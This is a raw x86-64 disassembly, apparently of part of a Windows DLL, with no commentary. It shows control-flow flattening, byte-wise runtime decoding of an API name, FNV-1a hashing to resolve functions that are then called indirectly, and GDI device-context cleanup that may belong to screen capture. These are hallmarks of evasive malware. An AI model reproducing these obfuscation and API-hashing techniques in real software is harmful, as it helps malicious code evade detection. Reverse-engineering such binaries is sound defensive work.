mov ecx, 0x553ba0a4
jmp 0x1800020c0
mov ecx, 0x18cb5172
jmp 0x1800020c0
cmp byte [rbp + 0x3e97], 0
mov ecx, 0x52a9d8f6
mov edx, 0xacd1a4a2
cmovne ecx, edx
jmp 0x1800020c0
mov ecx, 0xbf71e338
mov r10d, dword [rbp + 0x3e88]
jmp 0x1800020c0
mov dword [rbp + 0x3e78], r15d
mov qword [rbp + 0x3e70], r8
mov ecx, dword [rbp + 0x3e80]
mov edx, dword [rbp + 0x3e78]
cmp edx, ecx
mov ecx, 0x3fbb12b4
mov edx, 0xffb5b154
cmovb ecx, edx
jmp 0x1800020c0
mov ecx, edi
cmp edi, 0x3fbb12b4
jne 0x1800020c0
mov rcx, qword [rbp + 0x3e70]
call fcn.1800e9be0
mov r8d, dword [rbp + 0x3e68]
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3e5c]
mov rcx, qword [rbp + 0x3e50]
mov rdx, qword [rbp + 0x3e48]
call rax
lea rbx, [rbp - 0x30]
mov qword [rbp + 0x3e98], rbx
mov rax, qword [rbp + 0x3e98]
mov byte [rax], 0x7c
mov rsi, qword [rbp + 0x3e98]
mov rcx, rbx
mov dl, 0x43
xor r8d, r8d
call fcn.18001ca00
mov byte [rsi + 1], al
mov r8d, 1
mov rcx, rbx
mov dl, 0x6c
call fcn.18001ca00
mov byte [rsi + 2], al
mov r8d, 2
mov rcx, rbx
mov dl, 0x6f
call fcn.18001ca00
mov byte [rsi + 3], al
mov r8d, 3
mov rcx, rbx
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.18001ca00
mov byte [rsi + 4], al
mov r8d, 4
mov rcx, rbx
mov dl, 0x65
call fcn.18001ca00
mov byte [rsi + 5], al
mov r8d, 5
mov rcx, rbx
mov dl, 0x48
call fcn.18001ca00
mov byte [rsi + 6], al
mov r8d, 6
mov rcx, rbx
mov dl, 0x61
call fcn.18001ca00
mov byte [rsi + 7], al
add rsi, 8
mov qword [rbp + 0x3e80], rsi
mov eax, 0x44b50ce1
mov esi, 0x10c36bb7
nop word [rax + rax]
cmp eax, 0x10c36bb6
jg 0x1800026e0
cmp eax, 0x8f17e4b2
je 0x18000273d
cmp eax, 0xeab6ab06
jne 0x180002660
mov rax, qword [rbp + 0x3e78]
movzx ecx, byte [rbp + 0x3ea0]
mov byte [rax], cl
mov rdi, qword [rbp + 0x3e78]
mov r8d, 9
mov rcx, rbx
mov dl, 0x6c
call fcn.18001ca00
mov byte [rdi + 1], al
mov r8d, 0xa
mov rcx, rbx
mov dl, 0x65
call fcn.18001ca00
mov byte [rdi + 2], al
add rdi, 3
mov rax, qword [rbp + 0x3e98]
add rax, 0xd
mov qword [rbp + 0x3e70], rax
mov eax, 0x8f17e4b2
jmp 0x180002660
cmp eax, 0x10c36bb7
je 0x180002758
cmp eax, 0x44b50ce1
jne 0x180002660
mov r8d, 7
mov rcx, rbx
mov dl, 0x6e
call fcn.18001ca00
mov rcx, qword [rbp + 0x3e80]
mov byte [rcx], al
mov rax, qword [rbp + 0x3e80]
add rax, 1
mov qword [rbp + 0x3e78], rax
mov r8d, 8
mov rcx, rbx
mov dl, 0x64
call fcn.18001ca00
mov byte [rbp + 0x3ea0], al
mov eax, 0xeab6ab06
jmp 0x180002660
mov byte [rdi], 0
add rdi, 1
cmp rdi, qword [rbp + 0x3e70]
mov eax, 0x8f17e4b2
cmove eax, esi
jmp 0x180002660
lea rcx, [rbp - 0x30]
call fcn.180003260
mov ecx, dword [0x1801294d8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp + 0x3e94]
mov ecx, dword [0x1801294dc]
sete dl
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x3e93]
or cl, dl
mov edx, 0x8063f108
mov ecx, 0xc8c5b29f
cmove edx, ecx
mov dword [rbp + 0x3e6c], edx
mov r11d, 0x7ddfb06
cmove r11d, ecx
mov r12d, 0x1d57daac
mov ecx, 0xec12727d
cmove r12d, ecx
mov r13d, 0x18cb5172
cmove r13d, ecx
mov r14d, 0x4e6deaae
mov ecx, 0xe9e21f4b
cmove r14d, ecx
mov ecx, 0xe71cb6cf
movabs rbx, 0xb52dfd3b29cad7f9
jmp 0x1800027f0
mov ecx, 0xae32b02c
nop word [rax + rax]
mov edi, ecx
cmp ecx, 0xe9e21f4a
jle 0x180002850
cmp edi, 0x2cebdf0a
jle 0x1800028a0
cmp edi, 0x553ba0a3
jle 0x180002956
cmp edi, 0x5f30b901
jg 0x180002a5d
cmp edi, 0x553ba0a4
je 0x180002ba4
mov ecx, edi
cmp edi, 0x5cf0a5d0
jne 0x1800027f0
mov ecx, dword [rbp + 0x3ea0]
cmp ecx, 0x5b
setl byte [rbp + 0x3e95]
mov ecx, 0xa0e5e177
jmp 0x1800027f0
cmp edi, 0xb4b5f8a9
jg 0x1800028f0
cmp edi, 0xacd1a4a1
jle 0x180002986
cmp edi, 0xae2d49db
jg 0x180002b1d
cmp edi, 0xacd1a4a2
je 0x180002bcc
mov ecx, edi
cmp edi, 0xacd9a7e7
jne 0x1800027f0
mov ecx, 0x66a81c96
mov r9d, dword [rbp + 0x3ea0]
jmp 0x1800027f0
cmp edi, 0x1e9535f
jle 0x1800029c5
cmp edi, 0x18cb5171
jg 0x180002af6
mov ecx, r13d
cmp edi, 0x1e95360
je 0x1800027f0
mov ecx, edi
cmp edi, 0x7ddfb06
jne 0x1800027f0
mov ecx, dword [rbp + 0x3ea0]
or ecx, 0x20
mov dword [rbp + 0x3e98], ecx
mov ecx, dword [rbp + 0x3e6c]
jmp 0x1800027f0
cmp edi, 0xc62339db
jle 0x180002a05
cmp edi, 0xd0fc2277
jg 0x180002b42
cmp edi, 0xc62339dc
je 0x180002be5
mov ecx, edi
cmp edi, 0xc8c5b29f
jne 0x1800027f0
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, dword [rbp + 0x3ea0]
mov ecx, 0x7ddfb06
jmp 0x1800027f0
cmp edi, 0x4e6deaad
jle 0x180002b81
cmp edi, 0x4e6deaae
je 0x180002bb5
mov ecx, edi
cmp edi, 0x52a9d8f6
jne 0x1800027f0
mov ecx, 0x2cebdf0b
jmp 0x1800027f0
cmp edi, 0x8044d379
je 0x180002c0d
cmp edi, 0x8063f108
je 0x180002c27
mov ecx, edi
cmp edi, 0xa0e5e177
jne 0x1800027f0
cmp byte [rbp + 0x3e95], 0
mov ecx, 0xacd9a7e7
mov edx, 0xae2d49dc
cmovne ecx, edx
jmp 0x1800027f0
cmp edi, 0xe9e21f4b
je 0x1800027e5
cmp edi, 0xec12727d
je 0x180002c31
mov ecx, edi
cmp edi, 0xffb5b154
jne 0x1800027f0
mov ecx, dword [rbp + 0x3e78]
movzx ecx, byte [rax + rcx]
mov byte [rbp + 0x3e96], cl
mov ecx, 0xc62339dc
jmp 0x1800027f0
cmp edi, 0xb4b5f8aa
je 0x180002c3b
cmp edi, 0xbd5aa87e
je 0x180002c54
mov ecx, edi
cmp edi, 0xbf71e338
jne 0x1800027f0
mov dword [rbp + 0x3e80], r10d
mov ecx, dword [rbp + 0x3e80]
movsx ecx, byte [rax + rcx]
mov dword [rbp + 0x3e60], ecx
mov ecx, dword [rbp + 0x3e60]
cmp ecx, 0x20
mov ecx, 0x52a9d8f6
mov edx, 0x8044d379
cmovge ecx, edx
jmp 0x1800027f0
cmp edi, 0x5f30b902
je 0x180002bbf
mov ecx, edi
cmp edi, 0x66a81c96
jne 0x1800027f0
movsxd r8, r9d
mov rcx, qword [rbp + 0x3e70]
mov rdx, rcx
movabs rsi, 0x4ad202c4d6352806
and rdx, rsi
movabs rdi, 0x300c2021098a5629
or rdx, rdi
and rcx, rbx
xor rcx, rdx
mov rdx, rcx
movabs rdi, 0x7ade22e5dfbf7e2f
xor rdx, rdi
mov rdi, r8
xor rdi, rsi
movabs rsi, 0x8521dd1a204081d0
xor rcx, rsi
and rcx, rdi
xor r8, rbx
and r8, rdx
or r8, rcx
movabs rcx, 0x100000001b3
imul r8, rcx
mov r15d, dword [rbp + 0x3e78]
add r15d, 1
mov ecx, 0xd0fc2278
jmp 0x1800027f0
mov ecx, r12d
cmp edi, 0x18cb5172
je 0x1800027f0
mov ecx, edi
cmp edi, 0x1d57daac
jne 0x1800027f0
mov ecx, 0x5f30b902
jmp 0x1800027f0
mov ecx, r11d
cmp edi, 0xae2d49dc
je 0x1800027f0
mov ecx, edi
cmp edi, 0xae32b02c
jne 0x1800027f0
mov ecx, r14d
jmp 0x1800027f0
cmp edi, 0xd0fc2278
je 0x180002c65
mov ecx, edi
cmp edi, 0xe71cb6cf
jne 0x1800027f0
movzx edx, byte [rbp + 0x3e94]
cmp byte [rbp + 0x3e93], 0
mov ecx, 0xe9e21f4b
mov esi, 0xae32b02c
cmovne ecx, esi
test dl, dl
cmovne ecx, esi
jmp 0x1800027f0
cmp edi, 0x2cebdf0b
jne 0x180002c93
mov ecx, 0xd0fc2278
xor r15d, r15d
movabs r8, 0xcbf29ce484222325
jmp 0x1800027f0
mov ecx, 0x66a81c96
mov r9d, dword [rbp + 0x3e98]
jmp 0x1800027f0
mov ecx, 0x1e95360
jmp 0x1800027f0
mov ecx, 0xbf71e338
xor r10d, r10d
jmp 0x1800027f0
mov ecx, dword [rbp + 0x3e80]
add ecx, 1
mov dword [rbp + 0x3e88], ecx
mov ecx, 0xbd5aa87e
jmp 0x1800027f0
movsx ecx, byte [rbp + 0x3e96]
mov dword [rbp + 0x3ea0], ecx
mov ecx, dword [rbp + 0x3ea0]
cmp ecx, 0x41
mov ecx, 0xacd9a7e7
mov edx, 0x5cf0a5d0
cmovge ecx, edx
jmp 0x1800027f0
mov ecx, dword [rbp + 0x3e60]
cmp ecx, 0x7f
setl byte [rbp + 0x3e97]
mov ecx, 0xb4b5f8aa
jmp 0x1800027f0
mov ecx, 0x553ba0a4
jmp 0x1800027f0
mov ecx, 0x18cb5172
jmp 0x1800027f0
cmp byte [rbp + 0x3e97], 0
mov ecx, 0x52a9d8f6
mov edx, 0xacd1a4a2
cmovne ecx, edx
jmp 0x1800027f0
mov ecx, 0xbf71e338
mov r10d, dword [rbp + 0x3e88]
jmp 0x1800027f0
mov dword [rbp + 0x3e78], r15d
mov qword [rbp + 0x3e70], r8
mov ecx, dword [rbp + 0x3e80]
mov edx, dword [rbp + 0x3e78]
cmp edx, ecx
mov ecx, 0x3fbb12b4
mov edx, 0xffb5b154
cmovb ecx, edx
jmp 0x1800027f0
mov ecx, edi
cmp edi, 0x3fbb12b4
jne 0x1800027f0
mov rcx, qword [rbp + 0x3e70]
call fcn.1800e9be0
mov rcx, qword [rbp + 0x3e50]
call rax
mov rcx, qword [rbp + 0x3e48]
call fcn.1800fa898
mov rcx, qword [rbp + 0x3e40]
call fcn.1800fa898
mov rsi, qword [rbp + 0x3e38]
mov rcx, rsi
mov rdx, qword [rbp + 0x3e30]
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, qword [rbp + 0x3e28]
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, rsi
mov rsi, qword [rbp + 0x3e18]
mov rbx, qword [rbp + 0x3e20]
test rcx, rcx
je 0x180002d0e
call qword [sym.imp.GDI32.dll_DeleteDC]
test rbx, rbx
je 0x180002d1f
mov rcx, rsi
mov rdx, rbx
call qword [sym.imp.USER32.dll_ReleaseDC]
movaps xmm6, xmmword [rbp + 0x3eb0]
add rsp, 0x3f48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret